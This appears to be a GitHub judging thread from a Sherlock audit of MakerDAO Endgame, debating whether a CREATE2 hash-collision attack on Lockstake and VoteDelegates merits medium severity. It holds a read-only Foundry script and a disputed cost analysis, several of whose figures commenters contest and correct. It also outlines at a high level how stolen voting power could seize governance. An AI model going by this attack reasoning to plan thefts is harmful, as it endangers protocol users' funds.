Regarding panprog's comment: 1. I believe the docs should at least give us an expected usage pattern. Otherwise, it’s impossible to understand what is meant by "locked on lockstake." Is it 1%? 11%? 100%? From reading the docs, "required" seems to suggest it’s close to 100% of all active voters.

For the sake of argument, let’s check your calculations: 250*10^6/(1892*10^6) = 13.21%

Pasted image 20240822065528

Looking at 08/08 Pasted image 20240822065610, we can see the market cap was $1.67B, and going back to last year, it was <$1B. (data from here) 250/1670 = 14.97% 250/1000 = 25%

Now, let’s check the last 100 executive votes, going back to 2021-10-31 13:30. First, we get the data from Dune here. Export it here. Convert it to Solidity and run forge test --match-path test/votes.sol -vvv (this may take a minute). This way, we will get the number of votes for the hat (proposal) that was lift (selected to be executed):

test/votes.sol ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "forge-std/console.sol"; interface Chief { function approvals(address) external view returns (uint256); } contract CheckChiefApprovals is Test { Chief public chief = Chief(0x0a3f6849f78076aefaDf113F5BED87720274dDC0); // Contract interface // To bypass the address checksum validation, it was quicker to do it this way for the PoC rather than converting all the addresses to the checksummed format. Here, we just prepend 00 as mentioned in the docs. // https://docs.soliditylang.org/en/develop/types.html#address-literals uint160[] addresses = [ uint160(0x00c25a71bdf956229a035e35e8038d3fee4aba101c), uint160(0x008c7f12c7ce07916f631b25ce148e419feff19d46), uint160(0x00452a39c34f9539e0d50c9e33ad423a15c6f45df4), uint160(0x000c0b4da7e02960f98c2aff2778f6f3e37321b5dd), uint160(0x007fbc867de58d6e47e430eb257b50481f6e878f65), uint160(0x00622ad624491a01a2a6bead916c3ca3b90bca0854), uint160(0x007b55617f7f04f7b45ee865ff9066469fbe28a632), uint160(0x00b394ec56abd78c9264438168f8a8e1bd85f1f0ae), uint160(0x006cd68b55cdc991938d95d6995d97eb807aaeae44), uint160(0x0065eeefa08204b9717502398abf37c52d91fb6693), uint160(0x00016e2848993cfbc952a93ba3d496162afe703ca8), uint160(0x00cd672acc9885796a19b4baf03dba46c8cdb0882b), uint160(0x00d8d60b7a9998098261df5175b5b0fb567cd0fb1a), uint160(0x00dd0ab42848b5609ded083459110d2e38483e0859), uint160(0x00db2c426173e5a9c10af3cd834b87deaad40525ff), uint160(0x000e9ab92e3fad77ee35a5f702ac56c48baab7b0ee), uint160(0x004242347798bd2dec6540df55e5e47802d9b78ac7), uint160(0x0054561c3bc933e3b61bd44eb402aed19ac72b4da0), uint160(0x004f09ebaa1a5e52eb95c97f3b9fa3fb398d004698), uint160(0x0077cf3f27bf48ecd21cfe7293a31272f0ad44bfc6), uint160(0x0077583dc3d6192d55ef642060e82af1d7a34bc142), uint160(0x00b242159a9182e7fe0b72fc035b336cfe060381b3), uint160(0x00d3f96b8ffbf21033f5a6210c6349598aadbd1152), uint160(0x00d97b4e0b43708c836935c9b2320f57074dc1d146), uint160(0x00f9a88bbabbe4b5b907d28322649c504ca9897892), uint160(0x002f34bb0fe10bcb5652390fd0ba3af7879bca4b62), uint160(0x0073603db34814b22379ced3d2cbb450b3968fd892), uint160(0x00402d46a20c849390da96ceb0c3c04832d29e87d7), uint160(0x0007d8d43916bc235b71d9683111de7c7c626bb906), uint160(0x0034c9be51d7a1ff4db77abf48a73601e4b50a4645), uint160(0x009e16c8b4c998604471ea0e63ecbb6d6d30f07fa0), uint160(0x00b70254f2c2c342fb3b168cda1e43db1e43ab8de1), uint160(0x00a1c423ee0bbc927ef5809c7ebb24c86d4284e431), uint160(0x0057c8ea2995a1277b560704792155690fa8a98643), uint160(0x0077107f74bf30250affada0fbd09fa517658b4916), uint160(0x00d896928bd173a370fa1db446462a19b09bd95bf0), uint160(0x00df4f93454cbfc864a8f045bd22566824360042b7), uint160(0x007925c14b2e533b9cfd3662d6c87441d35820d3f9), uint160(0x00f34ffe4191c02608f0262172c9c45f48fd3c3d92), uint160(0x00dae88b7e4b5aba407c40676b98559f7aec925817), uint160(0x00f34ffe4191c02608f0262172c9c45f48fd3c3d92), uint160(0x00dae88b7e4b5aba407c40676b98559f7aec925817), uint160(0x001d07f15ab8c3c015c7b312759ddd858b0f1d8e72), uint160(0x004fe8caf634004cb3dd54acd3f59c861fdc6de215), uint160(0x0044f703d198d8de5504075170bceecd3fb4dd0f1b), uint160(0x003c4c8dba0569ce1b0210aec14f9604c63ff80383), uint160(0x002ac9f1c14eec4b7955978f1e808b28de337f8d20), uint160(0x0040cdba18bfbc525a6cf35251e7d90a9b5b66ce30), uint160(0x00b02fd2a51517c035d05b11272f769097dc2ead87), uint160(0x008c762ba54ca0791b8251e604cb7e3434c9153d22), uint160(0x0008dbdbcf56ac587b4e6d6c6ecc5f242ea569e5cb), uint160(0x00de7fc6dd8f96c02e823278ff58fa3624ff1a97a9), uint160(0x0016787f838d6562d7a0337ff65130b6a9a1255c77), uint160(0x00f2bf5b5dfcaf8f22306d786f6b18ffc9d91c7641), uint160(0x0004d0e226675cfc2450d523c961c1f1875f20bf47), uint160(0x004124b7a881dbbf98d72474d1a882d3afe3758526), uint160(0x008e4fafef5bf61f09654adeb46e6bc970bcd42c52), uint160(0x00dffa28aaabf9e6a07e19fdf3a9b94fdc93a039f1), uint160(0x000900328701ea2561f530869c4fe088a72256409c), uint160(0x003ea2748a32d53449bee93e2ae101e6d7179d7865), uint160(0x00da607f191b2d9a76bc7648a1a62b43bb721668e2), uint160(0x0007bfa4db5587a75617afa9e43624b8c2609497b5), uint160(0x00b945b792a1a87308c11573e7e9739f792dbce226), uint160(0x00b18a078aafd872fe06a2ba8c5a7cc068d6bd79a9), uint160(0x00c5d1e69709df34915395ff3d6a6c6f1ae571baea), uint160(0x006682133ccfbc8f87da51904d95241d243f7260bf), uint160(0x0067a45c2163798d47c32fc2bcd5dc0abc6dcdfe78), uint160(0x00a2e8a5045494c5037b929c1800b99c9c9fd915e0), uint160(0x00c17f2c69ae2e66fd87367e3260412eeff637f70e), uint160(0x00d67a415a55a11c128a04fed4b9c94cf61a633e7f), uint160(0x00a963cc9e4f1dc187d561830ee299040c582e2bfc), uint160(0x0076b686379234c90b2d9d4a9412a359783273f6b2), uint160(0x007d5f7f781fb8a256006026255deaa0bce1bbfed2), uint160(0x006f076e9eb81828fa83d9c3e0aa3e088ad24ee20b), uint160(0x006febea3673adf3925a01a61e46924b5b67a69ec3), uint160(0x00fdb8135dd29785da7486a96974d3b6a687430821), uint160(0x00d8e6fbb43354dd6637561208ef5db1a62e6408dc), uint160(0x00530708d653d540b3fce6df02da95588834ad39f2), uint160(0x00e0ae8927548faba8b8b48926afd01d1a951f0baa), uint160(0x00a09e56da14273cb3f70a8f5766d38938b25a311d), uint160(0x0023ed2d46c47c5f99684346374f3ed5ac29561737), uint160(0x0002a89b6a46e03432f4f1f98bfeea41299f6e57eb), uint160(0x0063b730ef5364df9f006e86b156ac97cdef044780), uint160(0x00eec1e1aef39309998d14615a177d989f37342cf1), uint160(0x00068f8fb8318506bfbad57b494a0c7b31399f4ed6), uint160(0x0024910113d7378cb8bdcbeac4596ec68efccd684d), uint160(0x0050968e9d628fdd0eb29c7742dc84233babad534e), uint160(0x00c45c1419da490880b4cf4e840e14d62827969b3f), uint160(0x003142dafd5ad998e35eb8e4bc8e7d01545e02281a), uint160(0x000f5d4cf379902655f2f4cd1b594cd61818892cc1), uint160(0x00e246c4ba65d95c2f902e39fbeb0047a67ab4f25a), uint160(0x00dd5052bfc4d281793653b0037d46cc2d8d1fd1b5), uint160(0x00a867399b43af7790ac800f2ff3fa7387dc52ec5e), uint160(0x003a686cd0c748e95524ed6532a64ce5fe4a301ca7), uint160(0x00eff6840401d2f1104b70953adc300c4f39c7eb40), uint160(0x00cdc89bf6efb7eed5ba0ded0fc9f134b939fafbb0), uint160(0x0082b24156f0223879aaac2dd0996a25fe1ff74e1a), uint160(0x003381caeaa980f78aa1895f98e645e35cbdd4c593), uint160(0x00fe3c12d746a4b1bc2952bff2e5eb6c9e91f68e5a), uint160(0x00f86d621f42ec36b6fd4e5dc660a47ad98d50cfc0) ]; uint[] blockNumbers = [ 20529534, 20412825, 20304906, 20248008, 20197789, 20090511, 20019392, 19890156, 19818643, 19718960, 19605352, 19533470, 19441057, 19392673, 19312623, 19191382, 19091843, 18987377, 18699457, 18606829, 18535068, 18371301, 18263593, 18142145, 18042507, 17942251, 17842899, 17708008, 17590223, 17504753, 17485603, 17351583, 17287786, 17267389, 17187959, 17166739, 16985102, 16940679, 16914919, 16914360, 16899427, 16835026, 16805954, 16793933, 16690793, 16588488, 16559100, 16504932, 16388415, 16160000, 16110890, 15993616, 15959289, 15938679, 15898538, 15847430, 15798322, 15747538, 15689155, 15639148, 15546868, 15495519, 15451212, 15409976, 15329357, 15277465, 15263363, 15138982, 15091967, 15063250, 15045565, 14969579, 14928340, 14855028, 14805859, 14775098, 14696950, 14653943, 14598994, 14586211, 14552328, 14507527, 14463210, 14367612, 14353898, 14323232, 14289066, 14142611, 14097423, 14071182, 14057484, 14007183, 13783421, 13755440, 13691688, 13652300, 13611833, 13575440, 13560353, 13525073 ]; function test1() external { require(addresses.length == blockNumbers.length, "Mismatch between addresses and block numbers"); uint256 largestApproval; address largestHat; uint256 largestHatLiftedOnBlock; uint256 approval; // Iterate through addresses and block numbers uint limit = addresses.length; // limit = 10; for (uint i = 0; i < limit; i++) { uint256 blockNumber = blockNumbers[i]; address currentAddress = address(addresses[i]); // Fork network at the specific block number vm.createSelectFork(vm.envString("ETH_RPC_URL"), blockNumber); console.log("Forked at block:", blockNumber); console.log("Checking approval for address:", currentAddress); // Call Chief.approvals(address) for each address approval = chief.approvals(currentAddress); // Log the approval console.log("Approval for address %s at block %s: %e", currentAddress, blockNumber, approval); // Track the largest approval if (approval > largestApproval) { largestApproval = approval; largestHat = currentAddress; largestHatLiftedOnBlock = blockNumber; } } // Log the largest approval found console.log("Largest approval is: %e. Hat: %s. Block: %s.", largestApproval, largestHat, largestHatLiftedOnBlock); } } ```

The largest approvals (votes) are: 1.13809292130849020332844e23 = 113,809 MKR. Divide by the total supply and you get 113,809 / 930,366 = ~12.2%, or $231 million at current prices.

So, the biggest vote in history was smaller than the amount the attacker will acquire.

2. Let’s also take a look at the contest page: https://audits.sherlock.xyz/contests/333

Please discuss any design choices you made. Please refer to https://github.com/makerdao/sherlock-contest/blob/9a01337e8f82acdf699a5c1c54233636c640ca89/README.md, and the documentation present in the codebases.

Let’s check https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/README.md, which directly references our context: https://endgame.makerdao.com.

A set of components for the SubDAO stack in the context of the MakerDAO Endgame.

To summarize, the contest page references "the documentation present in the codebases," which directly points to https://endgame.makerdao.com. We can't just ignore that.

kuprumxyz commented 2 weeks ago

Hi @00xSEV! As many I don't have a horse in the game, only is following out of curiosity and the importance of the subject...

I really enjoy your write-ups, massive kudos for the dedication! :raised_hands: My feeling is though that the explored options for the attack algorithm, specifically inspired by this paper got mixed with each other during discussions, leading to some confusion. For a bit more elaborate exposition of the same ideas as in the above paper, the paper Parallel Hash Collision Search by Rho Method with Distinguished Points can be used: it contains many more details and graphics, which makes following it easier.

First, what's important to emphasize, is that all of the below operate under the assumption of 50% probability of success (we'll return to that later). I believe these are the attack options (please correct me if I am wrong):

I believe in all your computations you follow the last, parallelized approach: this is natural, because only then can we employ the power of mining networks. But in this writeup, point 3, you employ for some reason $2^{80}$; I believe $2^{81}$ should be used instead (this is what executed on parallel processors), plus the part $\frac{2.5}{\theta}$ of total compute time should be also somehow accounted for.

Wrt. to your comment:

I realized I made a mistake with the collision probability formula. It should be: $P ≈ 1 − exp⁡ \big( \frac{−k^2}{ 2 N} \big)$ (as approximated by Wikipedia), or the more accurate formula: $P ≈ 1 − exp⁡ \big( \frac{−k(k-1)}{ 2 N} \big)$ (as explained in this comment).

Using these formulas, we can see that with $2^{81}$ hashes, the probability of a collision is 86.47%, with $2^{82}$ hashes it's 99.97%, and with $2^{83}$ hashes it's 99.999999999999%. You can check the calculations here.

I believe that all of the above estimates, as well as the ones used in your previous calculations employ the 50% probability of success as a baseline. The value of $2^{83}$ from this comment is related to the optimized cost of computing EC operations, and is totally irrelevant here if we consider contract-contract collisions... So in order to get to these higher probabilities, you'll have to additionally multiply the numbers by respective coefficients. Given the compute time requirements for 50% success probability being $X$, we'll have

Finally, I would like to express my general doubt wrt. birthday paradox based attacks, which is related to the above probabilities. For some reason, many are taking 50% success rate as good enough. It is true that you may hit the collision even earlier. But what happens if you don't? Let's put ourselves in the hypothetical attacker's shoes, who invested millions/billions upfront. They spend the $X$ compute time above, and don't get a collision. What do they do?

I hope you get me. For an attacker to invest such substantial resources beforehand, they have to be sure of success; but all that birthday paradox offers them is only probabilities of success.

bb22ff commented 2 weeks ago

@00xSEV A bottleneck that wasn't explored is the DB and network.

As far as I understand, the DB running on some gigantic cluster for 8 years, using the output of 1M ASICs needs to handle an impossible workload:

However, the numbers for the managed NoSQL DB services, like DynamoDB, have throughput numbers in millions of requests per second, not in quadrillions. That's 10 orders of magnitude less than needed, so is unlikely to be even possible within our lifetimes?

WangSecurity commented 2 weeks ago

Thanks to all the Watsons for these extensive comments.

I agree that we have to consider Lockstake to have $250 million locked as correctly explained in this comment. Although, $100 billion supply of DAI is expected or anything else, it's only an expectation and speculation. Based on the contest README, we have to believe $250 million will be locked in Lockstake. Also, as correctly stated in the very same comment, currently the code doesn't require staking in Lockstake to vote and it's only a plan for the future. Hence, we should assume $250 million as a maximum loss.

I agree that calculating the cost for the 50% calculation is not sufficient to say that's the reliable cost of the attack. As correctly pointed out in this comment. It relies on probability and "getting lucky" while the cost to execute the attack "for sure" is significantly higher.

The best and the lowest cost we can get for at least a 50% success rate (which is not sufficient as stated above) is $2+ billion which doesn't qualify for the following rule:

Issues where there is damage to the protocol/users but the net attack cost exceeds the damage caused significantly (50%+ more) are considered low severity.

Additionally, I see that the "Risk matrixes" were mentioned, please don't use them as they don't play any role in judging Sherlock. The decisions are based on the README and judging rules.

Hence, I believe based on the calculated cost of the attack, this is indeed low severity since the attack cost indeed exceeds billions. Planning to accept the escalation and invalidate the issue.

00xSEV commented 2 weeks ago

@WangSecurity, thanks for the review. I would like to add some additional points to consider:


The biggest impact: the entire protocol could be compromised, as an attacker could vote for their own hat, allowing them to change sensitive protocol parameters to arbitrary values. Let me know if you'd like more concrete examples.

The $250 million is only in LSE, but there is more MKR in circulation. This wasn’t explicitly mentioned in the README, so I think it’s best to reference the current valuation, which is $1.9 billion.

We also need to add up to $100 million of DAI (as mentioned in readme) per collateral type because, by gaining control of the line parameter, an attacker would be able to mint an indefinite amount of DAI, crashing the price. Please note that line is different from Line. See glossary for more details.

line: the debt ceiling for a specific collateral type. Line: the total debt ceiling for all collateral types.

There are 66 ilks in IlkRegistry.

WangSecurity commented 2 weeks ago

I believe we should also consider the loss of all DAI and other Maker assets in the system. If the attacker can elect a new hat, they could potentially shut down the protocol or mint an unlimited amount of DAI (as mentioned in the Impact section). They would also be able to modify the line.

Still based on the above arguments, I believe we should account for $250 million as the maximum loss here.

We can always reduce the attack cost by extending its duration. For example, let's use θ = 2^-23 and m = 52, and set electricity to the cheapest available rate of $0.002

As I understand it's still the cost to get a 50% chance of finding a collision, correct? And the cost to get at least >90% would be much higher?

My hope in showing that this attack is already feasible, albeit expensive, was to illustrate how close we are to making it even cheaper, especially when considering theoretical calculations that bring the cost down to the lower millions—particularly if we factor in ASIC optimization to the level of Bitcoin miners, as estimated in the paper

But the problem is that it's still theoretical and I believe in reality would cost a lot more than we theoretically calculate here. For example, you shared that the lowest electricity cost is 0.002$ in Iran, but what about the cost of transporting all the equipment? I believe accounting for it will also significantly increase the cost of the attack and it's only one example of the unaccounted variables which I think there are more.

About the last section in the above comment, I believe the following part from the @panprog's comment:

It doesn't allow to steal all MKR locked in VoteDelegates, only from VoteDelegates selected by lockstake users in amounts selected (since owner is LockstakeEngine, thus it can't withdraw more than lockstake users locked). It doesn't allow to steal from funds locked in lockstake which do not have VoteDelegate selected. Since lockstake allows up to $250M locked by the rules of this contest, the attack impact is at most $250M, but likely a bit less (say, we can reasonably expect 90% lockstake users to have VoteDelegate selected, meaning attack impact is around $225M). Generally we can't tell if it allows to gain control over Maker protocol or elect attacker's hat with all the voting power stolen. In particular, the $250M lockstake limit assumes most MKR will not be locked in lockstake and can be used to prevent this impact. So attacker can't be sure in any impact other than $225M worth of MKR being stolen

I believe it answers your concern.

Moreover, with the new calculations, the length of the attack is 17+ years. I understand that the duration is not specified in our rules, but it's the constraint we have to consider when defining the severity.

Hence, I believe based on all the arguments, i.e. cost of the attack is still significant, the cost of $287 million is theoretical and I believe is unrealistic due to unaccounted costs and not a high probability of finding a hash collision, also the extensive length of the attack, this issue is low severity. Planning to accept the escalation and invalidate the issue.

00xSEV commented 2 weeks ago

Thank you for your detailed response.

Still based on the above arguments, I believe we should account for $250 million as the maximum loss here.

I'm not sure I understand why we are limiting the loss to only $250 million. Could you elaborate on this, please?

The attacker first steals $250 million worth of MKR from the most active voters—more votes than have ever been cast in any previous vote. This allows the attacker to gain full control of the Maker protocol, which includes both MKR and DAI, while the lockstake is only a module of the protocol.

As I understand it's still the cost to get a 50% chance of finding a collision, correct?

For 2^81 hashes, the probability of a collision is 86.47%. With 2^82 hashes, it's 99.97%. You can see this in the formulas for collision probabilities I provided here and verified in the spreadsheet here.

To quickly confirm that these formulas are correct, you can refer to the probability table for the birthday paradox on Wikipedia here. The calculations there match the formula I provided. You can check this in list 2 of the same spreadsheet. I have reproduced the calculations for 2^256 possible hashes, and the probabilities match exactly with those listed on Wikipedia.

And the cost to get at least >90% would be much higher?

2^82 is sufficient for a 99.97% probability. It’s a 7.33% increase to achieve over 90%. So 2x to get to 99.97% and 7.33% to get to 90%.

Screenshots of updated calculations And of course, as always, it's a trade-off between ASIC, RAM, and time. I haven't tried to optimize anything in my calculations here. image image

But the problem is that it's still theoretical and I believe in reality would cost a lot more than we theoretically calculate here. For example, you shared that the lowest electricity cost is $0.002 in Iran, but what about the cost of transporting all the equipment? I believe accounting for that will significantly increase the cost of the attack, and it's only one example of unaccounted variables, which I think there are more.

I don't believe it's possible to account for everything, so we need to simplify and overlook some factors. However, I would also argue that there are unaccounted optimizations as well. Because the paper estimates the attack cost to be in $10s of millions and take 1 year. Therefore, there must be several other optimizations to reach this number.

About the last section in the above comment, I believe the following part from the @panprog's comment I > I believe it answers your concern.

It doesn't allow to steal from funds locked in lockstake which do not have VoteDelegate selected

This is incorrect, as I stated in my reply, point 2 here.

Generally we can't tell if it allows to gain control over Maker protocol or elect attacker's hat with all the voting power stolen.

I responded to this in my comment and provided data showing that the largest votes in history involved 113,809 MKR, which is worth $231 million. The attacker would steal more MKR than has ever been voted with, giving them a very high chance of executing the attack. Everyone else would need to gather even more votes than have ever been collected in the entire history of Maker (or at least the last 3 years). So, with the attacker's votes, this vote would have twice+ as many as ever before, and they would need to accomplish this without the participation of the most active voters (the attacker stole their votes). All of this would need to happen within 16 hours.

Moreover, with the new calculations, the length of the attack is 17+ years. I understand that the duration is not specified in our rules, but it's a constraint we must consider when defining the severity.

Could you expand on this? In your opinion, what cost and length of an attack would be reasonable to classify this issue as Medium severity?

panprog commented 2 weeks ago

It doesn't allow to steal from funds locked in lockstake which do not have VoteDelegate selected

This is incorrect, as I stated in my reply, point 2 here.

I appologize I overlooked this, yes, this point (2) is incorrect, but this doesn't really change anything as this simply allows to steal all MKR in the lockstake ($250M) and not only lockstake MKR locked in VD (which I estimated to be $225M) - the cost of the attack then should be below $375M (instead of $340M I estimated). I think everyone still assumed $250M, so no difference with this point. The other points are correct.

As for taking control over entire protocol with stolen MKR - this is still speculation and attacker can not be sure in this. Given the threat to the whole protocol, many inactive voters can vote against the attacker. The fact that the largest voting in history involved $231M worth of MKR doesn't ensure a successful attack, voting where the entire protocol is at stake is very different from all the other voting in the history. For example, large market makers who normally don't care about voting will be incentivized to move funds from the exchanges to vote not to lose their money etc.

nobodytrue commented 2 weeks ago

It's become evident that the Lead Senior Watsons are employing various strategies to challenge the validity of this issue. Their methods range from standard procedures to potentially questionable tactics. A concerning aspect of this situation is that the judge appears to be accepting comments without requiring substantiating evidence, which raises questions about the process.

With significant attention focused on these matters, Sherlock will make a decision in the coming days. However, given the current circumstances, it's clear that these mediums will not be approved.

Let's face it: Sherlock isn't about to rock the boat. They'll undoubtedly find some convoluted reason to reject the proposal, even though approving would be the sensible choice. With a judge who doesn't seem interested in demanding proof and decision-makers who always play it safe, this outcome was practically guaranteed from the start.

bb22ff commented 2 weeks ago

@00xSEV Thanks to you, this thread is now the most comprehensive discussion of the create2 hash collision issue, but the gap in DB tech remains unchallenged. Would you mind responding to this comment?

The gap between current tech and what's needed is astronomical (10 orders of magnitude):

kayabaNerve commented 2 weeks ago

There's no notable memory cost with the application of Pollard's rho algorithm.

Section 5.2 of https://people.scs.carleton.ca/~paulv/papers/JoC97.pdf.

The memory requirements for a hash function attack can be eliminated using collision search techniques.

6.2 goes over a theoretical ASIC to solve this problem, for MD5. They design a machine with 18 GB of memory which completes in 21 days and have the following note:

The run-time of this attack is proportional to the square root of the hash result space. Thus, if this attack were applied to SHA-1 whose hash results are 160 bits long (compared to 128 bits for MD5), the attack would take 2**16 times longer.

That'd have this attack take 10 years with that memory config, yet the full formula is there to be played with and it's not impossible (and arguably not infeasible) as-written.

bb22ff commented 2 weeks ago

@kayabaNerve thanks, so the reads and writes need to be divided by theta (2^23 for the 17 years scenario)? So:

kayabaNerve commented 2 weeks ago

From 6.2,

The overall rate at which the processors produce distinguished points is mθ ⁄ t = 405 per second, which can be accommodated quite easily by the large memory.

18 GB of RAM can have 405 * 22 bytes written per second. Even if you double 22 bytes to accomodate how our hash is 25% larger, you end up with 17.4 KB/s. Your read/write numbers are horrendously off-base AFAICT.

kuprumxyz commented 2 weeks ago

Hi @00xSEV, I am afraid I have to step in and make a correction regarding this comment of yours:

As I understand it's still the cost to get a 50% chance of finding a collision, correct?

For 2^81 hashes, the probability of a collision is 86.47%. With 2^82 hashes, it's 99.97%. You can see this in the formulas for collision probabilities I provided here and verified in the spreadsheet here.

To quickly confirm that these formulas are correct, you can refer to the probability table for the birthday paradox on Wikipedia here. The calculations there match the formula I provided. You can check this in list 2 of the same spreadsheet. I have reproduced the calculations for 2^256 possible hashes, and the probabilities match exactly with those listed on Wikipedia.

And the cost to get at least >90% would be much higher?

2^82 is sufficient for a 99.97% probability. It’s a 7.33% increase to achieve over 90%. So 2x to get to 99.97% and 7.33% to get to 90%.

I am afraid it's all not that simple. The $\frac{2^{81}}{m} + \frac{2.5}{\theta}$ formula for the runtime from this paper is actually an approximation of the original result from 2013 paper Parallel Collision Search with Cryptanalytic Applications by Paul C. van Oorschot & Michael J. Wiener. The original formula for the expected runtime for finding a hash collision (see p.15, eq. 7) is:

$$T_{hash} = (\sqrt{\pi n}/m + 2.5/\theta) \cdot t$$

In the formula above, $n$ is the size of the state space ($2^{160}$), $m$ is the number of parallel processors, $\theta$ is the proportion of distinguihed points, and $t$ is the time to compute a single hash function. $\sqrt{n} = 2^{80}$, and $\sqrt{\pi} \approx 1.77$, thus $\sqrt{\pi n} \approx 2^{81}$; here is where $2^{81}$ comes from.

Now, the runtime of parallel version of Pollard's Rho algorithm with distinguished points has nothing to do with the probabilities from Wikipedia's Brithday problem's probabilities: they are very much related, but it's still very much apples and oranges. The probabilities from the Birthday problem table can be applied only to the naive algorithm; they are related to the Pollard's algorithm expected runtimes, but not directly. The formula above gives the expected runtime, which roughly corresponds to 50% probability of success, i.e. for a large number of experiments (if we had the time and resources to conduct those), 50% would have the runtime to find a collision lower than that, and 50% would have the runtime higher than that.

I do find that you bring very valuable arguments for the viability of the attack, and also did a great work analyzing the costs and runtimes, but I have to make this specific correction for the sake of mathematical correctness.

WangSecurity commented 2 weeks ago

I've hidden one comment above because it was subjective, personal, didn't bring value and was essentially trying to manipulate the decision without providing any concrete evidence of this being a valid medium. Please refrain from such comments.

Thanks to everyone for such extensive comments, I'm amazed by everyone here.

But, @00xSEV, as I understand, for the impacts shared in the report, the attacker has to actually be able to win on every vote, which is probability speculation as also detailed by @panprog in this. I actually agree with this and indeed if there's voting where the life of the protocol and the funds of each user are at stake, there would be a much larger voting power. That's why I believe it would be fair to limit the damage to $250m, because as I understand, these $250m are directly at threat, while other impacts depend on voting and our discussion about voting here would be a speculation from both sides. It also applies to the following:

I responded to this in https://github.com/sherlock-audit/2024-06-makerdao-endgame-judging/issues/64#issuecomment-2303596707 and provided data showing that the largest votes in history involved 113,809 MKR, which is worth $231 million. The attacker would steal more MKR than has ever been voted with, giving them a very high chance of executing the attack. Everyone else would need to gather even more votes than have ever been collected in the entire history of Maker (or at least the last 3 years). So, with the attacker's votes, this vote would have twice+ as many as ever before, and they would need to accomplish this without the participation of the most active voters (the attacker stole their votes). All of this would need to happen within 16 hours.


For 2^81 hashes, the probability of a collision is 86.47%. With 2^82 hashes, it's 99.97%. You can see this in the formulas for collision probabilities I provided https://github.com/sherlock-audit/2024-06-makerdao-endgame-judging/issues/64#issuecomment-2303596707 and verified in the spreadsheet here.

Thank you, excuse me for misunderstanding it.

I don't believe it's possible to account for everything, so we need to simplify and overlook some factors. However, I would also argue that there are unaccounted optimizations as well. Because the paper estimates the attack cost to be in $10s of millions and take 1 year. Therefore, there must be several other optimizations to reach this number.

Fair enough, but that's a very big problem. We do not account for a lot of variables both increasing and decreasing the cost and our calculations are very theoretical and we potentially can decrease the cost of the attack to be even less than $10m, but none of that means that the issue is possible in reality (I'm not trying to say it's infeasible, but that in reality, the cost would be much higher than we calculate on paper).

Could you expand on this? In your opinion, what cost and length of an attack would be reasonable to classify this issue as Medium severity?

In my opinion, the reasonable length would be <=10 years at least (Ideally even less) and the cost basically <=$375m, assuming that $250m are directly at threat and other funds are speculation because there's no guarantee the attacker would actually win the votes.

Also, thinking more about the optimisations you mentioned here, I think they're also speculative:

  1. ASICs have unnecessary components, but is it possible to acquire all the needed ASICs without these components at a lower price.
  2. Buying in bulk -- I agree it would lower the cost, but it would be a speculation about how much lower it would be.
  3. GPUs can be sold, rented or used later -- I don't think it decreases the cost since it talks about doing something with GPUs after the attack, while the cost of them is the same.
  4. Bloom filter -- nothing to add.
  5. GPUs' VRAM in place of RAM -- it doesn't guarantee to decrease the cost in reality and is more theoretical again.
  6. SSDs in place of RAM -- it doesn't guarantee to decrease the cost since it would require more SSDs than RAM due to RAM having higher speed and again is more theoretical.
  7. Cheaper electricity, e.g. Iran -- would it be even possible to set this up in Iran? Again it's more of a speculation and I believe would add more cost to set this attack in a poorer country with cheaper electricity.
  8. Extend the time -- agree, but for this attack to have a considerable cost, the length has to be extremely large to consider it a vulnerability now.

What I'm trying to say is that this issue has a lot of speculations on the actual cost of the attack and the real impact of the attack. Even with these great calculations (honestly, great job), we can't know what it would cost in reality and if the attacker would be able to actually win the votes, assuming the situation with MKR and locked funds will be completely different when the attack takes place and adds even more speculation.

Hence, my decision remains the same, accept the escalation and invalidate this issue.

bb22ff commented 2 weeks ago

@kayabaNerve

Your read/write numbers are horrendously off-base AFAICT.

The overall rate at which the processors produce distinguished points is mθ ⁄ t = 405 per second

I'm afraid my numbers do check out using the simple formula you quoted:

I'm pretty sure in the above calculations, them being so simple.

Less sure about why extrapolation in the paper contradicts this simple calculation in our case. I see two flaws:

we must fix the amount of memory, and it is possible that an MD5 collision will not be found before the memory fills up. In this case, we continue by simply overwriting new distinguished points on top of old 22 ones.

The rate at which they must overwrite those points, for different m, t, and theta is not considered a bottleneck, but it can be (as shown in the calculations).

Additionally, using this seems wrong:

The run-time of this attack is proportional to the square root of the hash result space. Thus, if this attack were applied to SHA-1 whose hash results are 160 bits long (compared to 128 bits for MD5), the attack would take 216 times longer.

We cannot use the same t for keccak256, since the t they used is specifically for their (theoretical) chip for the simpler MD5.

kayabaNerve commented 2 weeks ago

1) I thought I caveated it's a distinct hash function not just in bit length, but apologies if I forgot to. I do agree that changes the theoretical cost/complexity of an ASIC that has the same performance they assume, but that's not the point here.

2) They estimate 405 writes per second given a machine which does so many hashes (the exact hash done doesn't matter, solely the rate). Your sole commenting of "read/write" without distinguishing is harmful IMO. The writes are trivially allowable.

The reads, they don't comment on, and I was unclear the rate myself. Let's assume it's your number which is in fact 1000x more than feasible today from a single DB.

It's 19 GB. Just RAM cache it and replicate it 1000x. If I'm allowed 2**80 iterations yet not 19 TB of RAM, I have an incredibly stupid millionaire funding me. Even with doubled requirements for overhead, 38 TB isn't an issue. Even further doubling due to the larger size of the hash and further overhead isn't an issue.

This commentary is due to how the length of the dataset doesn't increase with the hash's bit-length (solely the runtime, per my quote).


I'll also reiterate I didn't participate in this report in any way, I solely commented on this mediation.

bb22ff commented 2 weeks ago

@kayabaNerve the static size isn't the concern, but the rates specifically.

You can only "simply replicate" DBs if they're isolated in usage - what you write in one instance doesn't have to be read from another. If it were so, no DB is needed, just process it locally (like PoW).

In our case we are looking for collisions (common distinguished points) in parallel, so each of the instances needs to read what others have written (in at least an eventually consistent way), and at the same time needs to write its work for others to be able to read it. This trivially proves the need for reading and writing at least once per distinguished point into the DB shared by all "searchers". With the numbers used here, it appears to be infeasible with current tech.

kayabaNerve commented 2 weeks ago

405 distinguished points per second was for all machines (the m variable in the formula), not for each. The idea you can't handle 405 ~30 byte writes per second across a replicated database, even if one replicated 1000 times, is ridiculous to me.

You're welcome to disagree/refute me, though I've volunteered enough time I'm fine not further participating (especially since I'm not actually involved, and I believe this mediation was decided in the negative despite the paper I've cited roughly estimating a 10m USD cost over a 10y time period. Accordingly, even if I successfully argue its claims (for which I have no incentive), it's moot).

bb22ff commented 2 weeks ago

This report seems decided regardless of this point, and I'm just trying to get closer to the truth for future reference. I hope that someone else may correct these points if they are wrong.

The idea you can't handle 405 ~30 byte writes per second

